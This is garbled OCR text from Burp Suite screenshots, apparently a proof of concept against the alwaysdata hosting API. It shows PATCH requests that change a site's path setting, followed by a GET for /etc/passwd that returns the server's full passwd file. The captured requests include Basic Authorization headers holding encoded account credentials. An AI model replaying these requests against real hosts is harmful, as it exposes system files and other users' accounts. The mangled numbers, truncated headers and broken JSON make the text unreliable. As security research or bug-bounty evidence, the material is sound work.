** Burp Al Target: https://api.alwaysdata.com y

Request Response
Pretty Raw Hex In = Pretty Raw Hex
GET /vl/site/1@60851/ HTTP/2 1 HTTP/2 288 0K
Host: api.alwaysdata.com Seryd’: nginx
Authorization: Basic NmMyNTIyOTRJOTEZNGZmZDgyMNDVmMjU3IMTgxMjQwYWEgYWNjb3VudDlzYWluaTo Da‘ce: Tue, 14 Jul 2826 19:3
Accept: application/json I Content-Type: ylication/
Content-Length: 3
Vary: A [
Vary: Acce f
Content-Language: f
Strict-Transport-Security: max-age=31536008; includeSut preload

{

ional directives":"'
- ;
"max_idle_time":18€
‘path_trim":false,
"waf_profile”:null,
"waf_excluded_rules":"",
"waf_excluded pat
excluded ips":"",
ne_enabled":false,
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Target: https://api.alwaysdata.com 59

ap

Request Response
Pretty Raw Hex . Pretty Raw Hex
PATCH /v1/site/1860851/ HTTP/2 1 HTTP/2 284 No Content
Host: api.al i . com servill: neinx
Authorization: Basic NmMyNTIyOTRIOTE2NGZmZDgyNDVmMiU3MTgxMjQwYWEEYWNib3VudDlzYWluaTo= Daté: Tue, 14 Jul 2826 19:38:31
Content-Type: application/json 1 Vary: Accept-Langu: , Cookie
Alwaysdata-Synchronous: 1 content-Language: fr
Accept: applic: n/json Strict-Transport-Security: max-age=315360080; includeSubDomains; preload
Content-Length: 23
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+¢ Burp Al

Request Response
Pretty Raw ex Pretty ] Hex
FET /etc/passwd HTTP/2 1 HTTP/2 288 0K
Host: saini.alwaysdata.net Date: Tue, 14 Jul 2826 19:39:44 GMT
Accept: */* Server nache
User-Agent: Mozilla/5.¢ 1 Last-Modified: Wed, 83 Jun 2826 18:15:43 GM
Content-Length: ! Etag: "6ed-6 o Banf
Accept-Ranges:
Via: 2.8 alproxy
Content-Length: 1764
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TP,
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r /root:/bin/bash
daemon:x:1:1:daemon:/us bin:/us sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync

ames:x:5:68: es:/usr/games:/usr/sbin/nologin

IN:xX:6:12:1m: f'var/cache/man: /usr/sbin/nologin

:1p:/var/spool/lpd: fusr/sbin/nologin
8:mail:/var/mail:/usr/sbin/nologin
AT pool/news: /us yin/nologin

uucp:x:18:18:uucp:/var/spool/uucp: /usr/sbin/nologin
proxy:x:13:13:proxy:/bin: /usr/sbin/nologin
www-data:x:33:33 :www-data: /var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/runfircd: fusr/sbin/nologin
apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody :x:65534:65534 :nobody : /nonexistent: /usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
messagebus:x:188:186: : /nonexistent: /usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
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Target: https://api.alwaysdata.com f

gp

Request Response
Pretty Raw Hex N n = Pretty Raw ex
PhTEH /vl/site/1868851/ HTTP/2 HTTP/2 284 No Content
Host: api.alwaysdata.com 2 | Server: nginx
Authorization: Basic NmMyNTIyOTRjOTE2ZNGZmZDgyNDVmMU3MTgxMjQwYWEgYWNib3VudDlz¥WluaTo Date: Tue, 14 Jul 2 9: 53 GMT
Content-Type: application/json 1 Vary: Accept-Languag
Alwaysdata-Synchronous: 1 Content-Language: fr
Accept: application/json Strict-Transport-Security: max-age=315360868; includeSubDomains; preload
Content-Length: 15
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{
}

"path" : "www/"
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